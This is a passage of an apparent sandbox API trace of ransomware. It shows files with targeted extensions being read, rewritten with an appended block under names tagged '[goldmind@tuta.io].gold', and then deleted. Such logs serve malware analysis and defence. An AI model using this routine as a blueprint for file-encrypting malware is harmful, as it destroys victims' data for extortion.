(lpString1=".ppt", lpString2=".WMF") returned -1 [0115.823] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0217302.WMF") returned 63 [0115.823] lstrlenW (lpString=".zip") returned 4 [0115.823] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0115.823] lstrlenW (lpString=".rar") returned 4 [0115.823] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0115.823] lstrlenW (lpString=".bz2") returned 4 [0115.823] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0115.823] lstrlenW (lpString=".7z") returned 3 [0115.823] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0115.823] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0217302.WMF") returned 63 [0115.823] lstrlenW (lpString=".dbf") returned 4 [0115.823] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0115.823] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0217302.WMF") returned 63 [0115.823] lstrlenW (lpString=".1cd") returned 4 [0115.823] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0115.823] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0217302.WMF") returned 63 [0115.823] lstrlenW (lpString=".jpg") returned 4 [0115.823] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0115.823] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0217302.WMF") returned 63 [0115.823] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0217302.WMF") returned 63 [0115.823] lstrlenW (lpString=".doc") returned 4 [0115.823] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0115.823] lstrlenW (lpString=".docx") returned 5 [0115.823] lstrcmpiW (lpString1=".docx", lpString2="2.WMF") returned -1 [0115.823] lstrlenW (lpString=".pdf") returned 4 [0115.823] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0115.823] lstrlenW (lpString=".xls") returned 4 [0115.823] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0115.823] lstrlenW (lpString=".xlsx") returned 5 [0115.823] lstrcmpiW (lpString1=".xlsx", lpString2="2.WMF") returned -1 [0115.823] lstrlenW (lpString=".ppt") returned 4 [0115.823] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0115.823] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0217302.WMF") returned 63 [0115.823] lstrlenW (lpString=".zip") returned 4 [0115.823] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0115.823] lstrlenW (lpString=".rar") returned 4 [0115.823] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0115.823] lstrlenW (lpString=".bz2") returned 4 [0115.823] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0115.823] lstrlenW (lpString=".7z") returned 3 [0115.823] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0115.823] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0217302.WMF") returned 63 [0115.823] lstrlenW (lpString=".dbf") returned 4 [0115.823] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0115.824] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0217302.WMF") returned 63 [0115.824] lstrlenW (lpString=".1cd") returned 4 [0115.824] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0115.824] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0217302.WMF") returned 63 [0115.824] lstrlenW (lpString=".jpg") returned 4 [0115.824] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0115.824] lstrcmpiW (lpString1=".WMF", lpString2=".gold") returned 1 [0115.824] lstrlenW (lpString="J0217872.WMF") returned 12 [0115.824] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0217872.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0217872.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3d0 [0115.824] GetFileSizeEx (in: hFile=0x3d0, lpFileSize=0x2b1ff1c | out: lpFileSize=0x2b1ff1c*=7336) returned 1 [0115.824] CloseHandle (hObject=0x3d0) returned 1 [0115.827] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0217872.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0217872.wmf")) returned 0x20 [0115.827] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0217872.WMF.id-9C354B42.[goldmind@tuta.io].gold" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0217872.wmf.id-9c354b42.[goldmind@tuta.io].gold")) returned 0xffffffff [0115.827] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0217872.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0217872.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3d0 [0115.827] SetFilePointerEx (in: hFile=0x3d0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2b1fec8 | out: lpNewFilePointer=0x0) returned 1 [0115.827] SetFilePointerEx (in: hFile=0x3d0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2b1fec8 | out: lpNewFilePointer=0x0) returned 1 [0115.827] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0217872.WMF.id-9C354B42.[goldmind@tuta.io].gold" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0217872.wmf.id-9c354b42.[goldmind@tuta.io].gold"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x230 [0115.828] GetLastError () returned 0x0 [0115.828] ReadFile (in: hFile=0x3d0, lpBuffer=0x37a0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2b1fed4, lpOverlapped=0x0 | out: lpBuffer=0x37a0020*, lpNumberOfBytesRead=0x2b1fed4*=0x1ca8, lpOverlapped=0x0) returned 1 [0115.829] WriteFile (in: hFile=0x230, lpBuffer=0x37a0020*, nNumberOfBytesToWrite=0x1cb0, lpNumberOfBytesWritten=0x2b1fc9c, lpOverlapped=0x0 | out: lpBuffer=0x37a0020*, lpNumberOfBytesWritten=0x2b1fc9c*=0x1cb0, lpOverlapped=0x0) returned 1 [0115.830] ReadFile (in: hFile=0x3d0, lpBuffer=0x37a0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2b1fed4, lpOverlapped=0x0 | out: lpBuffer=0x37a0020*, lpNumberOfBytesRead=0x2b1fed4*=0x0, lpOverlapped=0x0) returned 1 [0115.830] WriteFile (in: hFile=0x230, lpBuffer=0x37a0020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2b1fc9c, lpOverlapped=0x0 | out: lpBuffer=0x37a0020*, lpNumberOfBytesWritten=0x2b1fc9c*=0xec, lpOverlapped=0x0) returned 1 [0115.830] SetEndOfFile (hFile=0x230) returned 1 [0115.830] CloseHandle (hObject=0x230) returned 1 [0115.830] SetFilePointerEx (in: hFile=0x3d0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2b1fec8 | out: lpNewFilePointer=0x0) returned 1 [0115.830] SetEndOfFile (hFile=0x3d0) returned 1 [0115.832] CloseHandle (hObject=0x3d0) returned 1 [0115.832] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0217872.WMF.id-9C354B42.[goldmind@tuta.io].gold", dwFileAttributes=0x20) returned 1 [0115.832] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0217872.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0217872.wmf")) returned 1 [0115.833] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0217872.WMF") returned 63 [0115.833] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0217872.WMF") returned 63 [0115.833] lstrlenW (lpString=".doc") returned 4 [0115.833] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0115.833] lstrlenW (lpString=".docx") returned 5 [0115.833] lstrcmpiW (lpString1=".docx", lpString2="2.WMF") returned -1 [0115.833] lstrlenW (lpString=".pdf") returned 4 [0115.833] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0115.833] lstrlenW (lpString=".xls") returned 4 [0115.833] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0115.833] lstrlenW (lpString=".xlsx") returned 5 [0115.833] lstrcmpiW (lpString1=".xlsx", lpString2="2.WMF") returned -1 [0115.833] lstrlenW (lpString=".ppt") returned 4 [0115.833] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0115.833] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0217872.WMF") returned 63 [0115.833] lstrlenW (lpString=".zip") returned 4 [0115.833] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0115.833] lstrlenW (lpString=".rar") returned 4 [0115.833] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0115.833] lstrlenW (lpString=".bz2") returned 4 [0115.833] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0115.833] lstrlenW (lpString=".7z") returned 3 [0115.833] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0115.833] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0217872.WMF") returned 63 [0115.833] lstrlenW (lpString=".dbf") returned 4 [0115.833] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0115.833] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0217872.WMF") returned 63 [0115.833] lstrlenW (lpString=".1cd") returned 4 [0115.833] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0115.833] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0217872.WMF") returned 63 [0115.833] lstrlenW (lpString=".jpg") returned 4 [0115.833] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0115.833] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0217872.WMF") returned 63 [0115.833] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0217872.WMF") returned 63 [0115.833] lstrlenW (lpString=".doc") returned 4 [0115.833] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0115.833] lstrlenW (lpString=".docx") returned 5 [0115.833] lstrcmpiW (lpString1=".docx", lpString2="2.WMF") returned -1 [0115.834] lstrlenW (lpString=".pdf") returned 4 [0115.834] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0115.834] lstrlenW (lpString=".xls") returned 4 [0115.834] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0115.834] lstrlenW (lpString=".xlsx") returned 5 [0115.834] lstrcmpiW (lpString1=".xlsx", lpString2="2.WMF") returned -1 [0115.834] lstrlenW (lpString=".ppt") returned 4 [0115.834] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0115.834] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0217872.WMF") returned 63 [0115.834] lstrlenW (lpString=".zip") returned 4 [0115.834] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0115.834] lstrlenW (lpString=".rar") returned 4 [0115.834] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0115.834] lstrlenW (lpString=".bz2") returned 4 [0115.834] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0115.834] lstrlenW (lpString=".7z") returned 3 [0115.834] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0115.834] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0217872.WMF") returned 63 [0115.834] lstrlenW (lpString=".dbf") returned 4 [0115.834] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0115.834] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0217872.WMF") returned 63 [0115.834] lstrlenW (lpString=".1cd") returned 4 [0115.834] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0115.834] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0217872.WMF") returned 63 [0115.834] lstrlenW (lpString=".jpg") returned 4 [0115.834] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0115.834] lstrcmpiW (lpString1=".JPG", lpString2=".gold") returned 1 [0115.834] lstrlenW (lpString="J0227419.JPG") returned 12 [0115.834] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0227419.JPG" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0227419.jpg"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3d0 [0115.835] GetFileSizeEx (in: hFile=0x3d0, lpFileSize=0x2b1ff1c | out: lpFileSize=0x2b1ff1c*=35542) returned 1 [0115.835] CloseHandle (hObject=0x3d0) returned 1 [0115.835] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0227419.JPG" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0227419.jpg")) returned 0x20 [0115.835] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0227419.JPG.id-9C354B42.[goldmind@tuta.io].gold" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0227419.jpg.id-9c354b42.[goldmind@tuta.io].gold")) returned 0xffffffff [0115.836] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0227419.JPG" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0227419.jpg"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3d0 [0115.836] SetFilePointerEx (in: hFile=0x3d0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2b1fec8 | out: lpNewFilePointer=0x0) returned 1 [0115.836] SetFilePointerEx (in: hFile=0x3d0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2b1fec8 | out: lpNewFilePointer=0x0) returned 1 [0115.836] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0227419.JPG.id-9C354B42.[goldmind@tuta.io].gold" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0227419.jpg.id-9c354b42.[goldmind@tuta.io].gold"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x230 [0115.837] GetLastError () returned 0x0 [0115.837] ReadFile (in: hFile=0x3d0, lpBuffer=0x37a0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2b1fed4, lpOverlapped=0x0 | out: lpBuffer=0x37a0020*, lpNumberOfBytesRead=0x2b1fed4*=0x8ad6, lpOverlapped=0x0) returned 1 [0116.014] WriteFile (in: hFile=0x230, lpBuffer=0x37a0020*, nNumberOfBytesToWrite=0x8ae0, lpNumberOfBytesWritten=0x2b1fc9c, lpOverlapped=0x0 | out: lpBuffer=0x37a0020*, lpNumberOfBytesWritten=0x2b1fc9c*=0x8ae0, lpOverlapped=0x0) returned 1 [0116.015] ReadFile (in: hFile=0x3d0, lpBuffer=0x37a0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2b1fed4, lpOverlapped=0x0 | out: lpBuffer=0x37a0020*, lpNumberOfBytesRead=0x2b1fed4*=0x0, lpOverlapped=0x0) returned 1 [0116.015] WriteFile (in: hFile=0x230, lpBuffer=0x37a0020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2b1fc9c, lpOverlapped=0x0 | out: lpBuffer=0x37a0020*, lpNumberOfBytesWritten=0x2b1fc9c*=0xec, lpOverlapped=0x0) returned 1 [0116.015] SetEndOfFile (hFile=0x230) returned 1 [0116.016] CloseHandle (hObject=0x230) returned 1 [0116.018] SetFilePointerEx (in: hFile=0x3d0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2b1fec8 | out: lpNewFilePointer=0x0) returned 1 [0116.018] SetEndOfFile (hFile=0x3d0) returned 1 [0116.020] CloseHandle (hObject=0x3d0) returned 1 [0116.020] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0227419.JPG.id-9C354B42.[goldmind@tuta.io].gold", dwFileAttributes=0x20) returned 1 [0116.020] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0227419.JPG" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0227419.jpg")) returned 1 [0116.022] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0227419.JPG") returned 63 [0116.022] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0227419.JPG") returned 63 [0116.022] lstrlenW (lpString=".doc") returned 4 [0116.022] lstrcmpiW (lpString1=".doc", lpString2=".JPG") returned -1 [0116.022] lstrlenW (lpString=".docx") returned 5 [0116.022] lstrcmpiW (lpString1=".docx", lpString2="9.JPG") returned -1 [0116.022] lstrlenW (lpString=".pdf") returned 4 [0116.022] lstrcmpiW (lpString1=".pdf", lpString2=".JPG") returned 1 [0116.022] lstrlenW (lpString=".xls") returned 4 [0116.022] lstrcmpiW (lpString1=".xls", lpString2=".JPG") returned 1 [0116.022] lstrlenW (lpString=".xlsx") returned 5 [0116.022] lstrcmpiW (lpString1=".xlsx", lpString2="9.JPG") returned -1 [0116.022] lstrlenW (lpString=".ppt") returned 4 [0116.022] lstrcmpiW (lpString1=".ppt", lpString2=".JPG") returned 1 [0116.022] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0227419.JPG") returned 63 [0116.022] lstrlenW (lpString=".zip") returned 4 [0116.022] lstrcmpiW (lpString1=".zip", lpString2=".JPG") returned 1 [0116.022] lstrlenW (lpString=".rar") returned 4 [0116.022] lstrcmpiW (lpString1=".rar", lpString2=".JPG") returned 1 [0116.022] lstrlenW (lpString=".bz2") returned 4 [0116.022] lstrcmpiW (lpString1=".bz2", lpString2=".JPG") returned -1 [0116.022] lstrlenW (lpString=".7z") returned 3 [0116.022] lstrcmpiW (lpString1=".7z", lpString2="JPG") returned -1 [0116.022] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0227419.JPG") returned 63 [0116.022] lstrlenW (lpString=".dbf") returned 4 [0116.022] lstrcmpiW (lpString1=".dbf", lpString2=".JPG") returned -1 [0116.022] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0227419.JPG") returned 63 [0116.022] lstrlenW (lpString=".1cd") returned 4 [0116.022] lstrcmpiW (lpString1=".1cd", lpString2=".JPG") returned -1 [0116.022] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0227419.JPG") returned 63 [0116.022] lstrlenW (lpString=".jpg") returned 4 [0116.022] lstrcmpiW (lpString1=".jpg", lpString2=".JPG") returned 0 [0116.022] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0227419.JPG") returned 63 [0116.022] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0227419.JPG") returned 63 [0116.022] lstrlenW (lpString=".doc") returned 4 [0116.022] lstrcmpiW (lpString1=".doc", lpString2=".JPG") returned -1 [0116.022] lstrlenW (lpString=".docx") returned 5 [0116.022] lstrcmpiW (lpString1=".docx", lpString2="9.JPG") returned -1 [0116.023] lstrlenW (lpString=".pdf") returned 4 [0116.023] lstrcmpiW (lpString1=".pdf", lpString2=".JPG") returned 1 [0116.023] lstrlenW (lpString=".xls") returned 4 [0116.023] lstrcmpiW (lpString1=".xls", lpString2=".JPG") returned 1 [0116.023] lstrlenW (lpString=".xlsx") returned 5 [0116.023] lstrcmpiW (lpString1=".xlsx", lpString2="9.JPG") returned -1 [0116.023] lstrlenW (lpString=".ppt") returned 4 [0116.023] lstrcmpiW (lpString1=".ppt", lpString2=".JPG") returned 1 [0116.023] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0227419.JPG") returned 63 [0116.023] lstrlenW (lpString=".zip") returned 4 [0116.023] lstrcmpiW (lpString1=".zip", lpString2=".JPG") returned 1 [0116.023] lstrlenW (lpString=".rar") returned 4 [0116.023] lstrcmpiW (lpString1=".rar", lpString2=".JPG") returned 1 [0116.023] lstrlenW (lpString=".bz2") returned 4 [0116.023] lstrcmpiW (lpString1=".bz2", lpString2=".JPG") returned -1 [0116.023] lstrlenW (lpString=".7z") returned 3 [0116.023] lstrcmpiW (lpString1=".7z", lpString2="JPG") returned -1 [0116.023] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0227419.JPG") returned 63 [0116.023] lstrlenW (lpString=".dbf") returned 4 [0116.023] lstrcmpiW (lpString1=".dbf", lpString2=".JPG") returned -1 [0116.023] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0227419.JPG") returned 63 [0116.023] lstrlenW (lpString=".1cd") returned 4 [0116.023] lstrcmpiW (lpString1=".1cd", lpString2=".JPG") returned -1 [0116.023] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0227419.JPG") returned 63 [0116.023] lstrlenW (lpString=".jpg") returned 4 [0116.023] lstrcmpiW (lpString1=".jpg", lpString2=".JPG") returned 0 [0116.023] lstrcmpiW (lpString1=".WMF", lpString2=".gold") returned 1 [0116.023] lstrlenW (lpString="J0230558.WMF") returned 12 [0116.023] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0230558.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0230558.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x398 [0116.183] GetFileSizeEx (in: hFile=0x398, lpFileSize=0x2b1ff1c | out: lpFileSize=0x2b1ff1c*=4198) returned 1 [0116.184] CloseHandle (hObject=0x398) returned 1 [0116.184] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0230558.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0230558.wmf")) returned 0x20 [0116.184] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0230558.WMF.id-9C354B42.[goldmind@tuta.io].gold" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0230558.wmf.id-9c354b42.[goldmind@tuta.io].gold")) returned 0xffffffff [0116.184] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0230558.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0230558.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x398 [0116.184] SetFilePointerEx (in: hFile=0x398, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2b1fec8 | out: lpNewFilePointer=0x0) returned 1 [0116.184] SetFilePointerEx (in: hFile=0x398, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2b1fec8 | out: lpNewFilePointer=0x0) returned 1 [0116.184] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0230558.WMF.id-9C354B42.[goldmind@tuta.io].gold" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0230558.wmf.id-9c354b42.[goldmind@tuta.io].gold"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3f8 [0116.185] GetLastError () returned 0x0 [0116.185] ReadFile (in: hFile=0x398, lpBuffer=0x37a0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2b1fed4, lpOverlapped=0x0 | out: lpBuffer=0x37a0020*, lpNumberOfBytesRead=0x2b1fed4*=0x1066, lpOverlapped=0x0) returned 1 [0116.189] WriteFile (in: hFile=0x3f8, lpBuffer=0x37a0020*, nNumberOfBytesToWrite=0x1070, lpNumberOfBytesWritten=0x2b1fc9c, lpOverlapped=0x0 | out: lpBuffer=0x37a0020*, lpNumberOfBytesWritten=0x2b1fc9c*=0x1070, lpOverlapped=0x0) returned 1 [0116.190] ReadFile (in: hFile=0x398, lpBuffer=0x37a0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2b1fed4, lpOverlapped=0x0 | out: lpBuffer=0x37a0020*, lpNumberOfBytesRead=0x2b1fed4*=0x0, lpOverlapped=0x0) returned 1 [0116.190] WriteFile (in: hFile=0x3f8, lpBuffer=0x37a0020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2b1fc9c, lpOverlapped=0x0 | out: lpBuffer=0x37a0020*, lpNumberOfBytesWritten=0x2b1fc9c*=0xec, lpOverlapped=0x0) returned 1 [0116.190] SetEndOfFile (hFile=0x3f8) returned 1 [0116.190] CloseHandle (hObject=0x3f8) returned 1 [0116.190] SetFilePointerEx (in: hFile=0x398, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2b1fec8 | out: lpNewFilePointer=0x0) returned 1 [0116.190] SetEndOfFile (hFile=0x398) returned 1 [0116.192] CloseHandle (hObject=0x398) returned 1 [0116.192] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0230558.WMF.id-9C354B42.[goldmind@tuta.io].gold", dwFileAttributes=0x20) returned 1 [0116.192] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0230558.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0230558.wmf")) returned 1 [0116.193] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0230558.WMF") returned 63 [0116.193] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0230558.WMF") returned 63 [0116.194] lstrlenW (lpString=".doc") returned 4 [0116.194] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0116.194] lstrlenW (lpString=".docx") returned 5 [0116.194] lstrcmpiW (lpString1=".docx", lpString2="8.WMF") returned -1 [0116.194] lstrlenW (lpString=".pdf") returned 4 [0116.194] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0116.194] lstrlenW (lpString=".xls") returned 4 [0116.194] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0116.194] lstrlenW (lpString=".xlsx") returned 5 [0116.194] lstrcmpiW (lpString1=".xlsx", lpString2="8.WMF") returned -1 [0116.194] lstrlenW (lpString=".ppt") returned 4 [0116.194] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0116.194] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0230558.WMF") returned 63 [0116.194] lstrlenW (lpString=".zip") returned 4 [0116.194] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0116.194] lstrlenW (lpString=".rar") returned 4 [0116.194] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0116.194] lstrlenW (lpString=".bz2") returned 4 [0116.194] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0116.194] lstrlenW (lpString=".7z") returned 3 [0116.194] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0116.194] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0230558.WMF") returned 63 [0116.194] lstrlenW (lpString=".dbf") returned 4 [0116.194] lstrcmpiW 